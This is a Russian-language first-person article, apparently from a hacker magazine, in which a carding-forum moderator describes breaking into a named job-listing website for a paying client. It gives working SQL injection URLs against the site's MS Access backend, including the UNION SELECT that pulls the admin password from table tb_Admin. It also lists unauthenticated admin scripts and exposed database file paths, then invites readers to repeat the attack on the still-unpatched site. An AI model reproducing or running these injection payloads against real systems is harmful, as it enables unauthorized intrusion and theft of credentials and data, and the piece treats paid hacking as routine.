Сидя на больничном и играя в Героев V, я потихоньку обретал физическое и
душевное здоровье после изнурительного гриппа. К полуночи, пройдя очередную
миссию, я выключил игру и стал просматривать новые топики на модерируемом мною
форумном разделе «о цветах и бабочках» на одном из кардерских форумов. В этот
момент стукнулся ко мне чел, которому надо было срочно получить доступ к сайту
www.psgi.net. Глянув на сайт,
который практически весь состоял из статичного html, я хотел было уже отказаться
от его предложения, но на всякий случай решил пробить все страницы сайта через
поиск google.com — site: www.psgi.net.

Гугл вывалил полтора десятка страниц, из которых первые все ссылались на
html-страницы. И только в конце я увидел несколько ссылок на asp-скрипты,
которым передавались параметры:

http://www.psgi.net/careerdetail.asp?ID=1519

вбив кавычку, я получил ответ:

Microsoft JET Database Engine error ‘80040e14’
Syntax error in string in query expression ‘ID = 1403».
/careerdetail.asp, line 8

Это был MSAccess, но разве это могло меня остановить? Тем более, что MSAccess
тоже подвержен инжекту, вот только синтаксис запросов немного отличается от SQL
— отсутствует комментарий в конце запроса.

После выяснения количества строк:

http://www.psgi.net/careerdetail.asp?ID=1519+order+by+8

мне предстояло самое трудное — подобрать название таблицы, ведь без нее в
инжекте MSAccess даже невозможно будет обнаружить вывод полей. Т.е. запрос
должен быть примерно таким:

http://www.psgi.net/careerdetail.asp?ID=1519+union+select+
1,2,3,4,5,6,7,8+from+[имя реально существующей таблицы]

Помучив немного базу я нашел название таблицы:

http://www.psgi.net/careerdetail.asp?ID=1403+union+select+1,2,3,4,5,6,7,8+from+tb_Admin

И еще через некоторое время вытянул из нее логин и пароль админа:

http://www.psgi.net/careerdetail.asp?ID=1403+union
+select+1,Password,3,UserID,5,6,7,8+from+tb_Admin

Какая сволочь решила назвать колонку с логином админа UserID? Где логика? Где
«круги Эллера», которыми мне загадили мозг на занятиях по логике в институте? Но
именно в такие моменты, когда законы логики вкупе с малопонятными «кругами»
перестают действовать, включается интуиция и она меня на этот раз не подвела.

Найдя и зайдя в админку:

http://psgi.net/Login.asp

я уже был готов скинуть логин и пароль админа знакомому в обмен на гонорар,
но тут обнаружил, что для редактирования данных о вакансиях по трудоустройству
(собственно знакомому и нужна была возможность их редактирования) даже не нужно
знать логина и пароля админа. Достаточно было только названия скриптов:

http://psgi.net/AdminViewJobs.asp
http://psgi.net/editjob.asp

Велик и могуч поток программерской мысли, не дай бог накроет… Ну и
напоследок, еще немного поковыряв сайт, я нашел и сами Access’ные базы:

http://psgi.net/databases/joblisting.mdb
http://psgi.net/databases/ProTech.mdb

Скинув все заказчику я отправился спать.

И вот по прошествию некоторого времени, с разрешения заказчика взлома, я
написал эту статью. Информация для заказчика перестала быть актуальной, зато
баги на сайте как были, так и остались без изменений. Так что в качестве
самообразования можешь повторить мои действия, может тогда и поймешь как я нашел
названия баз в закрытой для просмотра директории databases ;-).

Оставить мнение

Check Also

Windows 10 против шифровальщиков. Как устроена защита в обновленной Windows 10

Этой осенью Windows 10 обновилась до версии 1709 с кодовым названием Fall Creators Update …